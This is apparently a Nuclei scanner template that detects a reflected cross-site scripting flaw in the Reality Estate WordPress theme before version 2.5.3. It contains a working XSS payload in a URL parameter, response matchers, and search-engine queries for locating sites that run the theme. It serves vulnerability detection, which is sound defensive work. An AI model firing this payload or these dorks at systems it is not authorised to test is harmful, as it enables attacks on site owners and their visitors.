id: wp-reality-estate-theme

info:
  name: Reality Estate Multipurpose WP-Theme < 2.5.3 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Reflected XSS was discovered in the 'Reality | Estate Multipurpose WordPress Theme'.
  remediation: update to v.2.5.3
  reference:
    - https://wpscan.com/vulnerability/10064
    - https://www.exploitalert.com/view-details.html?id=34777
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    publicwww-query: /wp-content/themes/reality/
    google-query: inurl:"/wp-content/themes/reality/"
  tags: wpscan,xss,wordpress,wp,wp-theme,reality,estate,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/properties-with-map/?status&keyword=%22%3E%3Cimg%20src=x%20onerror=(alert)(document.domain);//%22"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "reality", "estate", "><img src=x onerror=(alert)(document.domain)")'
        condition: and
# digest: 4b0a004830460221009b2261dc39719c8ac9dfff4e15b588d0a26c38ad636adb20f2a8151b4c83ee89022100c970fc1ee83fdd386cd571b0c9129e41e3687026967dfe744ce41ba346424a56:922c64590222798bb761d5b6d8e72950